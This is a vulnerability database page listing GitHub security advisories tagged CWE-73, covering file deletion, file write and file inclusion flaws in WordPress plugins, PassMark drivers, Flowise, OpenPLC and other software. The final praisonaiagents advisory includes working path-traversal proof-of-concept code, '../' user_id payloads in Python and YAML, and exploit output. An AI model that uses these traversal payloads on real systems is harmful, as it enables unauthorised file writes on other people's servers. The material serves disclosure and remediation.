CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
1182 vulnerabilities reference this CWE, most recent first.
GHSA-GP34-Q874-5PW2
Vulnerability from github – Published: 2025-09-09 09:31 – Updated: 2025-09-09 09:31The Goza - Nonprofit Charity WordPress Theme theme for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the alone_import_pack_restore_data() function in all versions up to, and including, 3.2.2. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
{
"affected": [],
"aliases": [
"CVE-2025-10134"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-09T09:15:34Z",
"severity": "CRITICAL"
},
"details": "The Goza - Nonprofit Charity WordPress Theme theme for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the alone_import_pack_restore_data() function in all versions up to, and including, 3.2.2. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).",
"id": "GHSA-gp34-q874-5pw2",
"modified": "2025-09-09T09:31:11Z",
"published": "2025-09-09T09:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10134"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/goza-nonprofit-charity-wordpress-theme/23781575"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/73efd9ad-9515-4ca8-bfb3-1d478f39c2b9?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GQCV-F465-78VF
Vulnerability from github – Published: 2026-09-04 21:31 – Updated: 2026-09-04 21:31PassMark PerformanceTest before 11.1 build 1012, BurnInTest before 11.1 build 1000, and OSForensics before 11.1 build 1016 contain an information disclosure vulnerability in DirectIo64.sys that allows unauthenticated local attackers to dump complete physical memory contents by supplying a caller-controlled file path to an exposed IOCTL. Attackers can issue a single IOCTL call to trigger the driver to iterate all physical memory ranges via MmGetPhysicalMemoryRanges and map each page through ZwMapViewOfSection on the PhysicalMemory section object, writing a full RAM image to an attacker-specified path in the SYSTEM context, bypassing user-mode ACLs and exposing LSASS working set, process memory, and cryptographic material from all running processes.
{
"affected": [],
"aliases": [
"CVE-2026-80119"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-04T19:17:28Z",
"severity": "HIGH"
},
"details": "PassMark PerformanceTest before 11.1 build 1012, BurnInTest before 11.1 build 1000, and OSForensics before 11.1 build 1016 contain an information disclosure vulnerability in DirectIo64.sys that allows unauthenticated local attackers to dump complete physical memory contents by supplying a caller-controlled file path to an exposed IOCTL. Attackers can issue a single IOCTL call to trigger the driver to iterate all physical memory ranges via MmGetPhysicalMemoryRanges and map each page through ZwMapViewOfSection on the PhysicalMemory section object, writing a full RAM image to an attacker-specified path in the SYSTEM context, bypassing user-mode ACLs and exposing LSASS working set, process memory, and cryptographic material from all running processes.",
"id": "GHSA-gqcv-f465-78vf",
"modified": "2026-09-04T21:31:50Z",
"published": "2026-09-04T21:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80119"
},
{
"type": "WEB",
"url": "https://dkom.dev/posts/directio64-disclosure"
},
{
"type": "WEB",
"url": "https://github.com/floppywiggler/directio64-disclosure"
},
{
"type": "WEB",
"url": "https://www.osforensics.com/whats-new.html"
},
{
"type": "WEB",
"url": "https://www.passmark.com/products/burnintest/history.php"
},
{
"type": "WEB",
"url": "https://www.passmark.com/products/performancetest/history.php"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/passmark-performancetest-burnintest-and-osforensics-physical-memory-disclosure-via-directio64-sys-ioctl"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GQRQ-J6PM-98C2
Vulnerability from github – Published: 2023-12-14 15:30 – Updated: 2026-04-15 16:08Remote unauthenticated attackers can overwrite arbitrary server files with attacker-controllable data. The data that the attacker can control is not entirely arbitrary. h2o writes a CSV/XLS/etc file to disk, so the attacker data is wrapped in quotations and starts with "C1", if they're exporting as CSV.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "h2o"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.46.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-6569"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-15T03:12:43Z",
"nvd_published_at": "2023-12-14T13:15:55Z",
"severity": "CRITICAL"
},
"details": "Remote unauthenticated attackers can overwrite arbitrary server files with attacker-controllable data. The data that the attacker can control is not entirely arbitrary. h2o writes a CSV/XLS/etc file to disk, so the attacker data is wrapped in quotations and starts with \"C1\", if they\u0027re exporting as CSV.",
"id": "GHSA-gqrq-j6pm-98c2",
"modified": "2026-04-15T16:08:45Z",
"published": "2023-12-14T15:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6569"
},
{
"type": "WEB",
"url": "https://github.com/h2oai/h2o-3/commit/e8884f5187eb81311877c5f0dd4d6d9c70f33d78"
},
{
"type": "PACKAGE",
"url": "https://github.com/h2oai/h2o-3"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/a5d003dc-c23e-4c98-8dcf-35ba9252fa3c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "External Control of File Name or Path in h2oai/h2o-3"
}
GHSA-GRCH-CC26-W2FV
Vulnerability from github – Published: 2026-06-26 00:32 – Updated: 2026-07-01 15:34Flowise through 2.2.4 contains an unauthenticated arbitrary file upload vulnerability in the /api/v1/attachments endpoint when storageType is set to local. Attackers can exploit path traversal in the chatId and chatflowId parameters to upload malicious files to arbitrary directories, potentially enabling remote code execution and server compromise.
{
"affected": [],
"aliases": [
"CVE-2025-71333"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-25T22:16:59Z",
"severity": "CRITICAL"
},
"details": "Flowise through 2.2.4 contains an unauthenticated arbitrary file upload vulnerability in the /api/v1/attachments endpoint when storageType is set to local. Attackers can exploit path traversal in the chatId and chatflowId parameters to upload malicious files to arbitrary directories, potentially enabling remote code execution and server compromise.",
"id": "GHSA-grch-cc26-w2fv",
"modified": "2026-07-01T15:34:54Z",
"published": "2026-06-26T00:32:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-h42x-xx2q-6v6g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71333"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/flowise-arbitrary-file-upload-via-unauthenticated-api-v1-attachments-endpoint"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GW54-4VV6-GPQX
Vulnerability from github – Published: 2026-07-07 15:32 – Updated: 2026-07-07 15:32The AMP for WP – Accelerated Mobile Pages plugin for WordPress is vulnerable to Arbitrary File Write in versions up to and including 1.1.12. This is due to unsafe ZIP file extraction in the ampforwp_save_local_font() function combined with inadequate cleanup that fails to remove nested directories and files. This makes it possible for authenticated attackers, with Author-level access and above, and permissions granted by an Administrator, to write arbitrary files to the server in a web-accessible location, potentially leading to remote code execution on hosts that execute PHP files in the uploads directory.
{
"affected": [],
"aliases": [
"CVE-2026-6101"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-07T14:16:34Z",
"severity": "HIGH"
},
"details": "The AMP for WP \u2013 Accelerated Mobile Pages plugin for WordPress is vulnerable to Arbitrary File Write in versions up to and including 1.1.12. This is due to unsafe ZIP file extraction in the ampforwp_save_local_font() function combined with inadequate cleanup that fails to remove nested directories and files. This makes it possible for authenticated attackers, with Author-level access and above, and permissions granted by an Administrator, to write arbitrary files to the server in a web-accessible location, potentially leading to remote code execution on hosts that execute PHP files in the uploads directory.",
"id": "GHSA-gw54-4vv6-gpqx",
"modified": "2026-07-07T15:32:57Z",
"published": "2026-07-07T15:32:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6101"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/accelerated-mobile-pages/tags/1.1.12/accelerated-moblie-pages.php#L1616"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/accelerated-mobile-pages/tags/1.1.12/includes/options/admin-config.php#L1700"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/accelerated-mobile-pages/tags/1.1.12/includes/options/redux-core/core/panel.php#L175"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/accelerated-mobile-pages/tags/1.1.12/includes/options/redux-core/framework.php#L2832"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/accelerated-mobile-pages/trunk/accelerated-moblie-pages.php#L1616"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/accelerated-mobile-pages/trunk/includes/options/admin-config.php#L1700"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/accelerated-mobile-pages/trunk/includes/options/redux-core/core/panel.php#L175"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/accelerated-mobile-pages/trunk/includes/options/redux-core/framework.php#L2832"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3512870"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b594d0e9-d805-48b9-bfd4-4cc77dd3a70e?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GX23-3RQM-G2XC
Vulnerability from github – Published: 2024-05-07 18:30 – Updated: 2024-07-03 18:39An issue was discovered in Logpoint before 7.4.0. It allows Local File Inclusion (LFI) when an arbitrary File Path is used within the File System Collector. The content of the file specified can be viewed in the incoming logs.
{
"affected": [],
"aliases": [
"CVE-2024-33860"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-07T17:15:09Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Logpoint before 7.4.0. It allows Local File Inclusion (LFI) when an arbitrary File Path is used within the File System Collector. The content of the file specified can be viewed in the incoming logs.",
"id": "GHSA-gx23-3rqm-g2xc",
"modified": "2024-07-03T18:39:36Z",
"published": "2024-05-07T18:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33860"
},
{
"type": "WEB",
"url": "https://logpoint.com"
},
{
"type": "WEB",
"url": "https://servicedesk.logpoint.com/hc/en-us/articles/18533986803741-Local-File-Inclusion-in-File-System-Collector"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GX62-92Q7-R437
Vulnerability from github – Published: 2026-05-18 18:31 – Updated: 2026-05-19 15:31HSC MailInspector v5.3.3-7 contains a Local File Inclusion (LFI) vulnerability caused by improper control of user-supplied file paths. The endpoint /vendor/phpunit/phpunit.php processes user-controlled parameters that directly affect file access operations without adequate validation, sanitization, or path restriction. This allows a remote attacker to exploit Path Traversal techniques to read arbitrary files from the underlying operating system and application directories, leading to sensitive information disclosure.
{
"affected": [],
"aliases": [
"CVE-2026-29962"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-18T18:17:21Z",
"severity": "HIGH"
},
"details": "HSC MailInspector v5.3.3-7 contains a Local File Inclusion (LFI) vulnerability caused by improper control of user-supplied file paths. The endpoint /vendor/phpunit/phpunit.php processes user-controlled parameters that directly affect file access operations without adequate validation, sanitization, or path restriction. This allows a remote attacker to exploit Path Traversal techniques to read arbitrary files from the underlying operating system and application directories, leading to sensitive information disclosure.",
"id": "GHSA-gx62-92q7-r437",
"modified": "2026-05-19T15:31:23Z",
"published": "2026-05-18T18:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29962"
},
{
"type": "WEB",
"url": "https://github.com/sql3t0/cve-disclosures"
},
{
"type": "WEB",
"url": "https://github.com/sql3t0/cve-disclosures/blob/main/01_-_CVE-2026-29962_LFI%2BPath_Traversal.md"
},
{
"type": "WEB",
"url": "https://hsclabs.com/pt-br/mailinspector"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GX73-GV82-355V
Vulnerability from github – Published: 2026-07-11 00:31 – Updated: 2026-07-11 00:31OpenPLC Runtime v3 contains an authenticated arbitrary file write vulnerability in the legacy web UI program‑upload workflow. The application stores an attacker‑supplied filename (prog_file) directly into the Programs.File database field and later uses this value as the destination path for an uploaded file without validating or restricting the path. Because Python os.path.join() honors attacker‑controlled absolute paths, an authenticated user can write arbitrary files anywhere writable by the OpenPLC webserver process. In the default build pipeline, all C++ source files within the OpenPLC runtime core directory are automatically compiled into the executable runtime binary. By writing a malicious .cpp file into this directory, an authenticated attacker can escalate the arbitrary file write into arbitrary native code execution when the operator triggers a normal program compilation and runtime start.
{
"affected": [],
"aliases": [
"CVE-2026-14480"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T23:16:47Z",
"severity": "HIGH"
},
"details": "OpenPLC Runtime v3 contains an authenticated arbitrary file write \nvulnerability in the legacy web UI program\u2011upload workflow. The \napplication stores an attacker\u2011supplied filename (prog_file) directly \ninto the Programs.File database field and later uses this value as the \ndestination path for an uploaded file without validating or restricting \nthe path. Because Python os.path.join() honors attacker\u2011controlled \nabsolute paths, an authenticated user can write arbitrary files anywhere\n writable by the OpenPLC webserver process. In the default build \npipeline, all C++ source files within the OpenPLC runtime core directory\n are automatically compiled into the executable runtime binary. By \nwriting a malicious .cpp file into this directory, an authenticated \nattacker can escalate the arbitrary file write into arbitrary native \ncode execution when the operator triggers a normal program compilation \nand runtime start.",
"id": "GHSA-gx73-gv82-355v",
"modified": "2026-07-11T00:31:49Z",
"published": "2026-07-11T00:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14480"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-190-01.json"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-190-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GX88-826R-JQP4
Vulnerability from github – Published: 2026-04-01 15:31 – Updated: 2026-04-01 21:30An arbitrary file overwrite vulnerability in Deep Thought Industries ACE Scanner PDF Scanner v1.4.5 allows attackers to overwrite critical internal files via the file import process, leading to arbitrary code execution or information exposure.
{
"affected": [],
"aliases": [
"CVE-2026-30287"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-01T14:16:49Z",
"severity": "HIGH"
},
"details": "An arbitrary file overwrite vulnerability in Deep Thought Industries ACE Scanner PDF Scanner v1.4.5 allows attackers to overwrite critical internal files via the file import process, leading to arbitrary code execution or information exposure.",
"id": "GHSA-gx88-826r-jqp4",
"modified": "2026-04-01T21:30:28Z",
"published": "2026-04-01T15:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30287"
},
{
"type": "WEB",
"url": "https://github.com/Secsys-FDU/AF_CVEs/issues/16"
},
{
"type": "WEB",
"url": "https://deepthought.industries"
},
{
"type": "WEB",
"url": "https://play.google.com/store/apps/details?id=pdfscanner.scan.pdf.scanner.free"
},
{
"type": "WEB",
"url": "https://secsys.fudan.edu.cn"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GXMW-5F7X-6G22
Vulnerability from github – Published: 2026-08-25 15:09 – Updated: 2026-08-25 15:09Summary
praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all
memory file paths by directly joining the user_id parameter to a base path:
self.user_path = self.base_path / user_id # LINE 145 — no sanitization
No validation or normalization is applied to user_id before the path join.
An attacker who can supply a user_id containing ../ sequences can write
arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current main branch
(praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744
(which covered MultiAgentMonitor in an example file, not FileMemory in the
core library).
Details
Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:
def __init__(
self,
user_id: str = "default",
base_path: Optional[str] = None,
...
):
...
self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION
self.episodic_path = self.user_path / "episodic"
self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path
self.episodic_path.mkdir(parents=True, exist_ok=True)
self.config_file = self.user_path / "config.json"
self.short_term_file = self.user_path / "short_term.json"
self.long_term_file = self.user_path / "long_term.json"
self.entities_file = self.user_path / "entities.json"
self.summaries_file = self.user_path / "summaries.json"
All five JSON files are written under user_path, which is directly derived from
the attacker-controlled user_id. The written content is valid JSON in the memory
item format (configurable user content + metadata).
Comparison with the patched reference — praisonaiagents/storage/backends.py
(SQLiteBackend):
The sibling SQLiteBackend validates its table_name with a regex:
if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
raise ValueError(...)
No equivalent validation exists in FileMemory.
Attack chains:
A — Direct Python API (any caller):
from praisonaiagents.memory.file_memory import FileMemory
mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json (on Linux)
# Creates C:\evil\short_term.json (on Windows)
B — Via Agent constructor (memory dict):
from praisonaiagents import Agent
agent = Agent(
name="assistant",
memory={"provider": "file", "user_id": "../../etc/evil"},
instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init
C — Via agents.yaml / job submission (agent_yaml field):
# Submitted via POST /jobs with agent_yaml:
agents:
researcher:
memory:
provider: file
user_id: "../../tmp/evil"
role: "Research assistant"
goal: "Research topics"
agents_generator.py passes the memory.user_id value to the Agent constructor.
PoC
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
from pathlib import Path
import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id
try:
user_path.resolve().relative_to(base.resolve())
print("SAFE")
except ValueError:
print("!!PATH ESCAPES BASE!!")
print("Writes to:", user_path.resolve())
Output:
!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape
Step 2 — Live exploit (files written outside base):
import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)
TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()
mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE))
mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this")
mem.add_long_term("SENSITIVE_DATA", importance=0.9)
# Verify files appeared OUTSIDE the base directory
for fname in ["short_term.json", "long_term.json", "config.json"]:
f = TARGET / fname
if f.exists():
print(f"WRITTEN: {f}")
print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")
Observed output (run on current main):
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json
Impact
What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.
Who is impacted:
- Any application that creates
FileMemoryinstances with user-controlleduser_id - Any PraisonAI deployment where users can supply the
user_idparameter directly or indirectly (viaAgent(memory={"user_id": ...}), agents.yaml, or jobs API)
High-impact scenarios:
-
Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.
-
Overwrite web server / app config: Write
config.jsonorsettings.jsonto an app's configuration directory, potentially modifying runtime behavior. -
Cron / startup persistence: Write JSON files to
/etc/cron.d/paths (Linux) or%APPDATA%\Startup\(Windows) directories that might be interpreted by monitoring systems. -
Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.
-
Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.
Distinction from GHSA-766v-q9x3-g744:
| GHSA-766v-q9x3-g744 | This finding | |
|---|---|---|
| File | examples/context/12_multi_agent_context.py (example) |
praisonaiagents/memory/file_memory.py (core library) |
| Class | MultiAgentMonitor |
FileMemory |
| Fixed in | praisonaiagents >= 1.5.115 |
Not patched (affects 1.6.52) |
---
## Remediation Suggestion (for maintainers)
Validate and resolve `user_id` before using it in path construction:
```python
def __init__(self, user_id: str = "default", base_path=None, ...):
...
# ADDED: sanitize user_id
import re
if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id):
raise ValueError(
f"user_id '{user_id}' contains invalid characters. "
f"Only alphanumeric characters, hyphens, underscores, and dots are allowed."
)
self.user_path = self.base_path / user_id
# ADDED: verify the resolved path is within base (defense-in-depth)
resolved = self.user_path.resolve()
base_resolved = self.base_path.resolve()
try:
resolved.relative_to(base_resolved)
except ValueError:
raise ValueError(
f"user_id '{user_id}' would write outside the base memory directory."
)
The same pattern should be applied to base_path parameter.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55527"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T15:09:54Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`praisonaiagents/memory/file_memory.py::FileMemory.__init__()` constructs all\nmemory file paths by directly joining the `user_id` parameter to a base path:\n\n```python\nself.user_path = self.base_path / user_id # LINE 145 \u2014 no sanitization\n```\n\nNo validation or normalization is applied to `user_id` before the path join.\nAn attacker who can supply a `user_id` containing `../` sequences can write\narbitrary JSON files (memory content) to **any writable location on the filesystem**.\n\nThe vulnerability is confirmed **live on the current `main` branch**\n(`praisonaiagents==1.6.52`) and is **distinct from GHSA-766v-q9x3-g744**\n(which covered `MultiAgentMonitor` in an example file, not `FileMemory` in the\ncore library).\n\n### Details\n\n**Vulnerable code \u2014 `praisonaiagents/memory/file_memory.py` lines 139-157:**\n\n```python\ndef __init__(\n self,\n user_id: str = \"default\",\n base_path: Optional[str] = None,\n ...\n):\n ...\n self.user_path = self.base_path / user_id # LINE 145 \u2014 NO SANITIZATION\n self.episodic_path = self.user_path / \"episodic\"\n\n self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path\n self.episodic_path.mkdir(parents=True, exist_ok=True)\n\n self.config_file = self.user_path / \"config.json\"\n self.short_term_file = self.user_path / \"short_term.json\"\n self.long_term_file = self.user_path / \"long_term.json\"\n self.entities_file = self.user_path / \"entities.json\"\n self.summaries_file = self.user_path / \"summaries.json\"\n```\n\nAll five JSON files are written under `user_path`, which is directly derived from\nthe attacker-controlled `user_id`. The written content is valid JSON in the memory\nitem format (configurable user content + metadata).\n\n**Comparison with the patched reference \u2014 `praisonaiagents/storage/backends.py`\n(SQLiteBackend):**\n\nThe sibling `SQLiteBackend` validates its `table_name` with a regex:\n```python\nif not re.match(r\u0027^[a-zA-Z0-9_]+$\u0027, table_name):\n raise ValueError(...)\n```\nNo equivalent validation exists in `FileMemory`.\n\n**Attack chains:**\n\n*A \u2014 Direct Python API (any caller):*\n```python\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nmem = FileMemory(user_id=\"../../etc/evil\")\nmem.add_short_term(\"injected content\")\n# Creates /etc/evil/short_term.json (on Linux)\n# Creates C:\\evil\\short_term.json (on Windows)\n```\n\n*B \u2014 Via `Agent` constructor (memory dict):*\n```python\nfrom praisonaiagents import Agent\n\nagent = Agent(\n name=\"assistant\",\n memory={\"provider\": \"file\", \"user_id\": \"../../etc/evil\"},\n instructions=\"You are a helpful assistant.\",\n)\n# FileMemory(user_id=\"../../etc/evil\") called at agent init\n```\n\n*C \u2014 Via agents.yaml / job submission (`agent_yaml` field):*\n```yaml\n# Submitted via POST /jobs with agent_yaml:\nagents:\n researcher:\n memory:\n provider: file\n user_id: \"../../tmp/evil\"\n role: \"Research assistant\"\n goal: \"Research topics\"\n```\n`agents_generator.py` passes the `memory.user_id` value to the `Agent` constructor.\n\n### PoC\n\n**Environment:** Python 3.9+, `praisonaiagents \u003c= 1.6.52`\n\n**Step 1 \u2014 Verify path escapes base (no dependencies needed):**\n\n```python\nfrom pathlib import Path\nimport tempfile\n\nbase = Path(tempfile.gettempdir()) / \"praisonai\" / \"memory\"\nuser_id = \"../../../tmp/evil_escape\"\nuser_path = base / user_id\n\ntry:\n user_path.resolve().relative_to(base.resolve())\n print(\"SAFE\")\nexcept ValueError:\n print(\"!!PATH ESCAPES BASE!!\")\n print(\"Writes to:\", user_path.resolve())\n```\n\nOutput:\n```\n!!PATH ESCAPES BASE!!\nWrites to: \u003cTMPDIR\u003e/tmp/evil_escape\n```\n\n**Step 2 \u2014 Live exploit (files written outside base):**\n\n```python\nimport tempfile, json\nfrom pathlib import Path\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nBASE = Path(tempfile.gettempdir()) / \"praisonai_base\" / \"memory\"\nBASE.mkdir(parents=True, exist_ok=True)\n\nTARGET = (BASE / \"../../praisonai_path_traversal_proof\").resolve()\n\nmem = FileMemory(user_id=\"../../praisonai_path_traversal_proof\", base_path=str(BASE))\nmem.add_short_term(\"PROOF_OF_TRAVERSAL: attacker wrote this\")\nmem.add_long_term(\"SENSITIVE_DATA\", importance=0.9)\n\n# Verify files appeared OUTSIDE the base directory\nfor fname in [\"short_term.json\", \"long_term.json\", \"config.json\"]:\n f = TARGET / fname\n if f.exists():\n print(f\"WRITTEN: {f}\")\n print(f\"Content: {json.loads(f.read_text())[0][\u0027content\u0027] if fname != \u0027config.json\u0027 else \u0027...\u0027}\")\n```\n\n**Observed output (run on current `main`):**\n```\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/short_term.json\nContent: PROOF_OF_TRAVERSAL: attacker wrote this\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/long_term.json\nContent: SENSITIVE_DATA\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/config.json\n```\n\n### Impact\n\n**What kind of vulnerability:** Arbitrary file write via path traversal.\nAny JSON content can be written to any filesystem path writable by the process.\n\n**Who is impacted:**\n\n- Any application that creates `FileMemory` instances with user-controlled `user_id`\n- Any PraisonAI deployment where users can supply the `user_id` parameter directly\n or indirectly (via 